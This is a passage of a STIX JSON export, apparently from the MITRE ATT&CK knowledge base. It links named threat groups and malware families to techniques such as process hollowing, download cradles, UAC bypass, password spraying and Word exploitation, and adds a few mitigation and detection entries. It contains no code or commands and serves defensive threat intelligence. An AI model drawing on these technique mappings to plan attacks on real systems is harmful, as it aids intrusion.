2023.","url":"https://blog.talosintelligence.com/operation-layover-how-we-tracked-attack/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-18T18:17:00.154Z","description":"[TA2541](https://attack.mitre.org/groups/G1018) has used process hollowing to execute CyberGate malware.(Citation: Cisco Operation Layover September 2021)","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8b2af30a-523f-41fe-88c3-ab2ee15bdec5","created":"2020-05-22T15:43:05.190Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BitDefender Chafer May 2020","description":"Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020.","url":"https://www.bitdefender.com/blog/labs/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-18T16:19:53.783Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used the Smartftp Password Decryptor tool to decrypt FTP passwords.(Citation: BitDefender Chafer May 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b2f18e7-8c3c-4d43-a2f9-53f87512f3a2","type":"relationship","created":"2021-04-12T19:26:30.528Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike MUSTANG PANDA June 2018","url":"https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/","description":"Meyers, A. (2018, June 15). Meet CrowdStrike’s Adversary of the Month for June: MUSTANG PANDA. Retrieved April 12, 2021."}],"modified":"2021-04-12T19:26:30.528Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has exploited CVE-2017-0199 in Microsoft Word to execute code.(Citation: Crowdstrike MUSTANG PANDA June 2018)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b345565-9a36-4b4a-ace5-b4c50ea894ca","type":"relationship","created":"2021-02-18T20:23:02.374Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Guidepoint SUPERNOVA Dec 2020","url":"https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/","description":"Riley, W. (2020, December 1). SUPERNOVA SolarWinds .NET Webshell Analysis. Retrieved February 18, 2021."},{"source_name":"Unit42 SUPERNOVA Dec 2020","url":"https://unit42.paloaltonetworks.com/solarstorm-supernova/","description":"Tennis, M. (2020, December 17). SUPERNOVA: A Novel .NET Webshell. Retrieved February 22, 2021."}],"modified":"2021-04-23T23:00:42.159Z","description":"[SUPERNOVA](https://attack.mitre.org/software/S0578) has masqueraded as a legitimate SolarWinds DLL.(Citation: Guidepoint SUPERNOVA Dec 2020)(Citation: Unit42 SUPERNOVA Dec 2020)","relationship_type":"uses","source_ref":"malware--b2b0b946-be0a-4a7f-9c32-a2e5211d1cd9","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b368877-93b8-4ea9-84ef-84232412982f","type":"relationship","created":"2019-06-10T17:44:49.350Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bromium Ursnif Mar 2017","url":"https://www.bromium.com/how-ursnif-evades-detection/","description":"Holland, A. (2019, March 7). Tricks and COMfoolery: How Ursnif Evades Detection. Retrieved June 10, 2019."}],"modified":"2019-06-24T16:46:21.028Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) droppers have used PowerShell in download cradles to download and execute the malware's full executable payload.(Citation: Bromium Ursnif Mar 2017)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b38c61f-d128-4496-a15f-c91d121b39f6","type":"relationship","created":"2021-11-22T19:01:22.755Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"modified":"2021-11-22T19:01:22.755Z","description":"(Citation: Trend Micro DRBControl February 2020)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"tool--4664b683-f578-434f-919b-1c1aad2a1111","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8b39672f-a90d-49f4-9c01-9ebbd50d2c50","created":"2024-03-11T17:47:59.970Z","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-11T17:47:59.970Z","description":"[FRAMESTING](https://attack.mitre.org/software/S1120) is a web shell capable of enabling arbitrary command execution on compromised Ivanti Connect Secure VPNs.(Citation: Mandiant Cutting Edge Part 2 January 2024)","relationship_type":"uses","source_ref":"malware--bcaae558-9697-47a2-9ec7-c75000ddf58c","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b3cb69c-7b85-4d52-8cab-867ea1126fc7","type":"relationship","created":"2022-03-07T20:24:43.656Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCSC Cyclops Blink February 2022","url":"https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf","description":"NCSC. (2022, February 23). Cyclops Blink Malware Analysis Report. Retrieved March 3, 2022."}],"modified":"2022-03-07T20:24:43.656Z","description":"[Cyclops Blink](https://attack.mitre.org/software/S0687) can enumerate the process it is currently running under.(Citation: NCSC Cyclops Blink February 2022)","relationship_type":"uses","source_ref":"malware--b350b47f-88fe-4921-8538-6d9c59bac84e","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b3f2915-ca04-4770-88bb-e6f1314da34d","type":"relationship","created":"2019-07-17T18:51:33.926Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-08T15:59:44.908Z","description":"Enforce the principle of least-privilege. Consider implementing access control mechanisms that include both authentication and authorization.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b3f374c-9f56-4493-8b85-72d0750d0c59","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf","description":"FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.","source_name":"FireEye FIN10 June 2017"},{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-05-26T12:35:39.669Z","description":"[FIN10](https://attack.mitre.org/groups/G0051) has established persistence by using S4U tasks as well as the Scheduled Task option in PowerShell Empire.(Citation: FireEye FIN10 June 2017)(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b3f4fd5-9acd-49e5-bae5-6996ae46aa0f","type":"relationship","created":"2020-06-08T19:45:34.975Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"RedCanary Mockingbird May 2020","url":"https://redcanary.com/blog/blue-mockingbird-cryptominer/","description":"Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."}],"modified":"2020-06-25T13:59:09.809Z","description":"[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has used Windows Registry modifications to specify a DLL payload.(Citation: RedCanary Mockingbird May 2020)\t","relationship_type":"uses","source_ref":"intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8b3f6072-ccf5-4ede-b0ec-948d5953346b","created":"2024-05-22T21:20:53.962Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T21:20:53.962Z","description":"[IPsec Helper](https://attack.mitre.org/software/S1132) can identify specific files and folders for follow-on exfiltration.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"malware--b5dc19b7-588d-403b-848d-c868bd61ffa1","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b42462a-0d66-4740-8f48-0857ab523370","type":"relationship","created":"2019-01-30T17:04:29.735Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT35 2018","description":"Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.","url":"https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"}],"modified":"2019-09-04T22:55:41.872Z","description":"(Citation: FireEye APT35 2018)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b425ec5-7be4-4225-a7c5-8f219fed7b6c","type":"relationship","created":"2020-12-29T16:48:25.566Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}],"modified":"2020-12-29T16:48:25.566Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has used the Softerra LDAP browser to browse documentation on service accounts.(Citation: CISA AA20-259A Iran-Based Actor September 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b4c2543-e2f1-4f7c-b687-d07e7a4c763c","type":"relationship","created":"2020-01-19T16:10:15.496Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-12-18T14:57:08.126Z","description":"Do not allow domain administrator or root accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b4c7113-2f11-44a7-863d-1ff49ae64215","type":"relationship","created":"2021-11-19T15:40:12.632Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."},{"source_name":"Talent-Jump Clambling February 2020","url":"https://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/","description":"Chen, T. and Chen, Z. (2020, February 17). CLAMBLING - A New Backdoor Base On Dropbox. Retrieved November 12, 2021."}],"modified":"2021-11-23T15:26:58.687Z","description":"[Clambling](https://attack.mitre.org/software/S0660) can discover the hostname, computer name, and Windows version of a targeted machine.(Citation: Trend Micro DRBControl February 2020)(Citation: Talent-Jump Clambling February 2020)","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b4fd69e-a3c6-4721-9aed-d8235a93672e","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.group-ib.com/blog/cobalt","description":"Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.","source_name":"Group IB Cobalt Aug 2017"}],"modified":"2019-07-26T23:38:33.707Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) has bypassed UAC.(Citation: Group IB Cobalt Aug 2017)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8b5037a6-8899-4180-bcb3-fbcfbd83f3e1","created":"2022-09-15T17:33:28.206Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BlackBerry CostaRicto November 2020","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-15T17:48:57.454Z","description":"During [CostaRicto](https://attack.mitre.org/campaigns/C0004), threat actors used a custom VM-based payload loader named [CostaBricks](https://attack.mitre.org/software/S0614).(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"campaign--f9cc545e-b0ef-4b92-8884-a3a4427609f6","target_ref":"malware--5d342981-5194-41e7-b33f-8e91998d7d88","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8b52c2d4-8e40-42c7-9661-7d5fb58b3af5","created":"2023-03-26T22:10:02.223Z","revoked":false,"external_references":[{"source_name":"CrowdStrike StellarParticle January 2022","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T22:10:02.223Z","description":"(Citation: CrowdStrike StellarParticle January 2022)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"malware--bdad6f3b-de88-42fa-9295-d29b5271808e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8b52e132-0b6b-4cd4-a3d2-a7d04a01dfcb","created":"2024-07-12T18:08:00.092Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FRP GitHub","description":"fatedier. (n.d.). What is frp?. Retrieved July 10, 2024.","url":"https://github.com/fatedier/frp"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-12T18:09:14.110Z","description":"[FRP](https://attack.mitre.org/software/S1144) can use a dashboard and U/I to display the status of connections from the FRP client and server.(Citation: FRP GitHub)","relationship_type":"uses","source_ref":"tool--36dd807e-b5bc-4c3e-91ed-80682360148c","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8b55c302-7e18-4727-a27d-6e4f0b3cecd6","created":"2024-01-23T19:54:54.960Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-23T19:54:54.960Z","description":"(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","target_ref":"tool--4664b683-f578-434f-919b-1c1aad2a1111","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b5691c7-1815-4d76-a7dd-dfd827043bb9","type":"relationship","created":"2019-04-18T14:44:18.146Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT33 Guardrail","url":"https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html","description":"Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."},{"source_name":"Microsoft Holmium June 2020","url":"https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/","description":"Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020."}],"modified":"2020-06-22T20:15:32.352Z","description":"[APT33](https://attack.mitre.org/groups/G0064) has used password spraying to gain access to target systems.(Citation: FireEye APT33 Guardrail)(Citation: Microsoft Holmium June 2020)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8b580ccf-247a-4ebb-97f3-8d143ed1150c","created":"2022-10-04T22:04:25.705Z","revoked":false,"external_references":[{"source_name":"Mandiant UNC3890 Aug 2022","description":"Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.","url":"https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-04T22:04:25.705Z","description":"[SUGARUSH](https://attack.mitre.org/software/S1049) has created a service named `Service1` for persistence.(Citation: Mandiant UNC3890 Aug 2022)","relationship_type":"uses","source_ref":"malware--44e2a842-415b-47f4-8549-83fbdb8a5674","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8b587fdb-cae2-4c5f-b434-86ad325077d2","created":"2022-10-13T17:04:31.779Z","revoked":false,"external_references":[{"source_name":"Korean FSI TA505 2020","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T17:04:31.779Z","description":"[FlawedAmmyy](https://attack.mitre.org/software/S0381) has used `rundll32` for execution.(Citation: Korean FSI TA505 2020)","relationship_type":"uses","source_ref":"malware--432555de-63bf-4f2a-a3fa-f720a4561078","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b5b1096-80f7-43dd-a881-af92beac20f9","type":"relationship","created":"2020-06-29T15:36:41.688Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-06-29T15:36:41.688Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d","target_ref":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8b5d4742-35a6-4ab7-993c-e20831ab0020","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"f-secure janicab","description":"Brod. (2013, July 15). Signed Mac Malware Using Right-to-Left Override Trick. Retrieved July 17, 2017.","url":"https://www.f-secure.com/weblog/archives/00002576.html"},{"source_name":"Janicab","description":"Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.","url":"https://web.archive.org/web/20230331162455/https://www.thesafemac.com/new-signed-malware-called-janicab/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:07:36.512Z","description":"[Janicab](https://attack.mitre.org/software/S0163) captured audio and sent it out to a C2 server.(Citation: f-secure janicab)(Citation: Janicab)","relationship_type":"uses","source_ref":"malware--234e7770-99b0-4f65-b983-d3230f76a60b","target_ref":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b65bc11-9b56-4eca-9fa2-efb7ffcbb94b","type":"relationship","created":"2021-10-12T21:43:24.262Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Whitefly March 2019","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/whitefly-espionage-singapore","description":"Symantec. (2019, March 6). Whitefly: Espionage Group has Singapore in Its Sights. Retrieved May 26, 2020."}],"modified":"2021-10-12T21:43:24.262Z","description":"[Whitefly](https://attack.mitre.org/groups/G0107) has obtained and used tools such as [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: Symantec Whitefly March 2019)","relationship_type":"uses","source_ref":"intrusion-set--b74f909f-8e52-4b69-b770-162bf59a1b4e","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b66ef05-63ad-4b12-b6b3-9a44475d781c","type":"relationship","created":"2020-06-16T18:42:20.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-06-16T18:42:20.836Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1","target_ref":"attack-pattern--144e007b-e638-431d-a894-45d90c54ab90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b6a4a0f-eb26-4cc0-ab69-b88244a25fee","type":"relationship","created":"2022-03-30T14:26:51.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.837Z","description":"Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. User file association preferences are stored under [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts and override associations configured under 